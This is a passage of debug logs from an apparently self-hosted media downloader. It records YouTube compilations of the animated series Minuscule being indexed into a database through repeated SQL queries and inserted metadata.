s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90118] 22:10:51.686 [debug] Current batch of media processed. Will check again in 1000ms 22:10:52.687 [debug] Current batch of media processed. Will check again in 1000ms 22:10:53.688 [debug] Current batch of media processed. Will check again in 1000ms 22:10:54.689 [debug] Current batch of media processed. Will check again in 1000ms 22:10:55.690 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Patatas Fritas | S02E21\n00:03:45 | If Only Lonely | S02E22\n00:07:31 | The Butterfly Effect | S02E23\n00:10:53 | Fly Hunting | S02E24\n00:14:27 | Hop On! | S02E25\n00:18:04 | The Housing Plant Project | S02E26\n00:21:41 | At Full Speed | S02E27\n00:25:24 | The Annoying Neighbor | S02E28\n00:29:00 | Thirsty | S02E29\n00:32:33 | High voltage | S02E30\n00:36:07 | Spider from the Depths | S02E31\n00:39:42 | Gather More to Pollinate More | S02E32\n00:43:27 | The Iron Monster | S02E33\n00:47:01 | The Long Road | S02E34\n00:50:43 | The Yule log | S02E35\n00:54:29 | Spider Driver | S02E36\n00:58:10 | The Monster Of The Haunted Swamp | S02E37\n01:01:41 | Rascals! | S02E38\n01:05:20 | The Grocery Store Incident | S02E39\n01:08:51 | Sunburn | S02E40\n01:12:15 | Away all boarders! | S02E41\n01:15:58 | Down The Chimney | S02E42\n01:19:43 | To The Port Now! | S02E43\n01:23:11 | Zzz zzz | S02E44\n01:26:41 | Love Apple | S02E45\n01:30:21 | Brushing | S02E46\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Patatas #Fritas #wasps #universe #ladybug #sibling #anxiety #ants #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 5672, "filename" => "/downloads/Miniscule Season 2/2025-05-31 Patatas Fritas 🍟 Minuscule 🍃 125' Compilation/Patatas Fritas 🍟 Minuscule 🍃 125' Compilation [cFMH5uWhQhg].mp4", "id" => "cFMH5uWhQhg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=cFMH5uWhQhg", "playlist_index" => 56, "timestamp" => 1748714453, "title" => "Patatas Fritas 🍟 Minuscule 🍃 125' Compilation", "upload_date" => "20250531"} 22:10:55.691 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=665.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:10:55.692 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=520.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:55.694 [debug] QUERY OK source="media_items" db=1.0ms idle=521.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-31 18:00:53Z], 5] 22:10:55.698 [debug] QUERY OK source="media_items" db=2.7ms idle=523.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Patatas Fritas | S02E21\n00:03:45 | If Only Lonely | S02E22\n00:07:31 | The Butterfly Effect | S02E23\n00:10:53 | Fly Hunting | S02E24\n00:14:27 | Hop On! | S02E25\n00:18:04 | The Housing Plant Project | S02E26\n00:21:41 | At Full Speed | S02E27\n00:25:24 | The Annoying Neighbor | S02E28\n00:29:00 | Thirsty | S02E29\n00:32:33 | High voltage | S02E30\n00:36:07 | Spider from the Depths | S02E31\n00:39:42 | Gather More to Pollinate More | S02E32\n00:43:27 | The Iron Monster | S02E33\n00:47:01 | The Long Road | S02E34\n00:50:43 | The Yule log | S02E35\n00:54:29 | Spider Driver | S02E36\n00:58:10 | The Monster Of The Haunted Swamp | S02E37\n01:01:41 | Rascals! | S02E38\n01:05:20 | The Grocery Store Incident | S02E39\n01:08:51 | Sunburn | S02E40\n01:12:15 | Away all boarders! | S02E41\n01:15:58 | Down The Chimney | S02E42\n01:19:43 | To The Port Now! | S02E43\n01:23:11 | Zzz zzz | S02E44\n01:26:41 | Love Apple | S02E45\n01:30:21 | Brushing | S02E46\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Patatas #Fritas #wasps #universe #ladybug #sibling #anxiety #ants #Minuscule #nature #insects #ladybugs #animatedseries", "Patatas Fritas 🍟 Minuscule 🍃 125' Compilation", "310ce9b7-2f9b-48e2-8e80-eb0cc7c16a8d", "cFMH5uWhQhg", 5672, false, 5, "https://www.youtube.com/watch?v=cFMH5uWhQhg", 56, "/downloads/Miniscule Season 2/2025-05-31 Patatas Fritas 🍟 Minuscule 🍃 125' Compilation/Patatas Fritas 🍟 Minuscule 🍃 125' Compilation [cFMH5uWhQhg].mp4", false, false, false, [], 1, ~U[2025-05-31 18:00:53Z], ~U[2025-12-12 05:10:55Z], ~U[2025-12-12 05:10:55Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Patatas Fritas | S02E21\n00:03:45 | If Only Lonely | S02E22\n00:07:31 | The Butterfly Effect | S02E23\n00:10:53 | Fly Hunting | S02E24\n00:14:27 | Hop On! | S02E25\n00:18:04 | The Housing Plant Project | S02E26\n00:21:41 | At Full Speed | S02E27\n00:25:24 | The Annoying Neighbor | S02E28\n00:29:00 | Thirsty | S02E29\n00:32:33 | High voltage | S02E30\n00:36:07 | Spider from the Depths | S02E31\n00:39:42 | Gather More to Pollinate More | S02E32\n00:43:27 | The Iron Monster | S02E33\n00:47:01 | The Long Road | S02E34\n00:50:43 | The Yule log | S02E35\n00:54:29 | Spider Driver | S02E36\n00:58:10 | The Monster Of The Haunted Swamp | S02E37\n01:01:41 | Rascals! | S02E38\n01:05:20 | The Grocery Store Incident | S02E39\n01:08:51 | Sunburn | S02E40\n01:12:15 | Away all boarders! | S02E41\n01:15:58 | Down The Chimney | S02E42\n01:19:43 | To The Port Now! | S02E43\n01:23:11 | Zzz zzz | S02E44\n01:26:41 | Love Apple | S02E45\n01:30:21 | Brushing | S02E46\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Patatas #Fritas #wasps #universe #ladybug #sibling #anxiety #ants #Minuscule #nature #insects #ladybugs #animatedseries", "Patatas Fritas 🍟 Minuscule 🍃 125' Compilation", "cFMH5uWhQhg", 5672, false, 5, "https://www.youtube.com/watch?v=cFMH5uWhQhg", "/downloads/Miniscule Season 2/2025-05-31 Patatas Fritas 🍟 Minuscule 🍃 125' Compilation/Patatas Fritas 🍟 Minuscule 🍃 125' Compilation [cFMH5uWhQhg].mp4", false, ~U[2025-05-31 18:00:53Z]] 22:10:55.698 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=526.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:55.699 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:55.700 [debug] QUERY OK source="media_items" db=0.5ms idle=7.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91179] 22:10:55.700 [debug] Current batch of media processed. Will check again in 1000ms 22:10:56.702 [debug] Current batch of media processed. Will check again in 1000ms 22:10:57.703 [debug] Current batch of media processed. Will check again in 1000ms 22:10:58.704 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | An Acorn Season | S02E05\n00:03:45 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:07:31 | Chewing gum rodeo | S02E14\n00:11:16 | The Vegetable Garden | S02E10\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Acorn #Grasshopper #Insects #Justice #grasshopper #babies #leap #outcast #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 939, "filename" => "/downloads/Miniscule Season 2/2025-05-01 An Acorn Season | Minuscule 🍃 20' Compilation/An Acorn Season | Minuscule 🍃 20' Compilation [bpMUUv-x_VM].mp4", "id" => "bpMUUv-x_VM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bpMUUv-x_VM", "playlist_index" => 57, "timestamp" => 1746093692, "title" => "An Acorn Season | Minuscule 🍃 20' Compilation", "upload_date" => "20250501"} 22:10:58.705 [debug] QUERY OK source="sources" db=0.4ms idle=1533.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:10:58.706 [debug] QUERY OK source="sources" db=0.4ms idle=1534.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:58.707 [debug] QUERY OK source="media_items" db=1.0ms idle=1535.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-01 10:01:32Z], 5] 22:10:58.710 [debug] QUERY OK source="media_items" db=2.1ms idle=1536.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | An Acorn Season | S02E05\n00:03:45 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:07:31 | Chewing gum rodeo | S02E14\n00:11:16 | The Vegetable Garden | S02E10\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Acorn #Grasshopper #Insects #Justice #grasshopper #babies #leap #outcast #Minuscule #nature #insects #ladybugs #animatedseries", "An Acorn Season | Minuscule 🍃 20' Compilation", "4d4d8e5c-f2c7-4603-85dc-2102e6b86c11", "bpMUUv-x_VM", 939, false, 5, "https://www.youtube.com/watch?v=bpMUUv-x_VM", 57, "/downloads/Miniscule Season 2/2025-05-01 An Acorn Season | Minuscule 🍃 20' Compilation/An Acorn Season | Minuscule 🍃 20' Compilation [bpMUUv-x_VM].mp4", false, false, false, [], 1, ~U[2025-05-01 10:01:32Z], ~U[2025-12-12 05:10:58Z], ~U[2025-12-12 05:10:58Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | An Acorn Season | S02E05\n00:03:45 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:07:31 | Chewing gum rodeo | S02E14\n00:11:16 | The Vegetable Garden | S02E10\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Acorn #Grasshopper #Insects #Justice #grasshopper #babies #leap #outcast #Minuscule #nature #insects #ladybugs #animatedseries", "An Acorn Season | Minuscule 🍃 20' Compilation", "bpMUUv-x_VM", 939, false, 5, "https://www.youtube.com/watch?v=bpMUUv-x_VM", "/downloads/Miniscule Season 2/2025-05-01 An Acorn Season | Minuscule 🍃 20' Compilation/An Acorn Season | Minuscule 🍃 20' Compilation [bpMUUv-x_VM].mp4", false, ~U[2025-05-01 10:01:32Z]] 22:10:58.711 [debug] QUERY OK source="sources" db=0.3ms idle=679.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:58.712 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:58.713 [debug] QUERY OK source="media_items" db=0.5ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89574] 22:10:58.713 [debug] Current batch of media processed. Will check again in 1000ms 22:10:59.714 [debug] Current batch of media processed. Will check again in 1000ms 22:11:00.538 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:11:00.715 [debug] Current batch of media processed. Will check again in 1000ms 22:11:01.716 [debug] Current batch of media processed. Will check again in 1000ms 22:11:02.717 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Black Slope For Gastropod Skiers | S02E55\n00:03:45 | Sleep Walker | S02E68\n00:07:10 | Twelve Angry Snails | S02E66\n00:10:42 | Night of the Gastropods | S02E18\n00:14:28 | The Long Road | S02E34\n00:18:10 | Thirsty | S02E29\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Black #Slope #Skiers #Gastropod #Dream #Love #Snail #Sleep #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1342, "filename" => "/downloads/Miniscule Season 2/2025-04-26 Black Slope For Gastropod Skiers | Minuscule 🍃 30' Compilation/Black Slope For Gastropod Skiers | Minuscule 🍃 30' Compilation [uXzw2XDUqEc].mp4", "id" => "uXzw2XDUqEc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=uXzw2XDUqEc", "playlist_index" => 58, "timestamp" => 1745690451, "title" => "Black Slope For Gastropod Skiers | Minuscule 🍃 30' Compilation", "upload_date" => "20250426"} 22:11:02.718 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=678.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:02.719 [debug] QUERY OK source="sources" db=0.3ms idle=547.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:02.720 [debug] QUERY OK source="media_items" db=0.9ms idle=548.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-26 18:00:51Z], 5] 22:11:02.787 [debug] QUERY OK source="media_items" db=66.1ms idle=549.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Black Slope For Gastropod Skiers | S02E55\n00:03:45 | Sleep Walker | S02E68\n00:07:10 | Twelve Angry Snails | S02E66\n00:10:42 | Night of the Gastropods | S02E18\n00:14:28 | The Long Road | S02E34\n00:18:10 | Thirsty | S02E29\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Black #Slope #Skiers #Gastropod #Dream #Love #Snail #Sleep #Minuscule #nature #insects #ladybugs #animatedseries", "Black Slope For Gastropod Skiers | Minuscule 🍃 30' Compilation", "7fa5b248-72d3-4bc3-b762-ceebbf415c16", "uXzw2XDUqEc", 1342, false, 5, "https://www.youtube.com/watch?v=uXzw2XDUqEc", 58, "/downloads/Miniscule Season 2/2025-04-26 Black Slope For Gastropod Skiers | Minuscule 🍃 30' Compilation/Black Slope For Gastropod Skiers | Minuscule 🍃 30' Compilation [uXzw2XDUqEc].mp4", false, false, false, [], 1, ~U[2025-04-26 18:00:51Z], ~U[2025-12-12 05:11:02Z], ~U[2025-12-12 05:11:02Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Black Slope For Gastropod Skiers | S02E55\n00:03:45 | Sleep Walker | S02E68\n00:07:10 | Twelve Angry Snails | S02E66\n00:10:42 | Night of the Gastropods | S02E18\n00:14:28 | The Long Road | S02E34\n00:18:10 | Thirsty | S02E29\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Black #Slope #Skiers #Gastropod #Dream #Love #Snail #Sleep #Minuscule #nature #insects #ladybugs #animatedseries", "Black Slope For Gastropod Skiers | Minuscule 🍃 30' Compilation", "uXzw2XDUqEc", 1342, false, 5, "https://www.youtube.com/watch?v=uXzw2XDUqEc", "/downloads/Miniscule Season 2/2025-04-26 Black Slope For Gastropod Skiers | Minuscule 🍃 30' Compilation/Black Slope For Gastropod Skiers | Minuscule 🍃 30' Compilation [uXzw2XDUqEc].mp4", false, ~U[2025-04-26 18:00:51Z]] 22:11:02.788 [debug] QUERY OK source="sources" db=0.4ms idle=616.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", 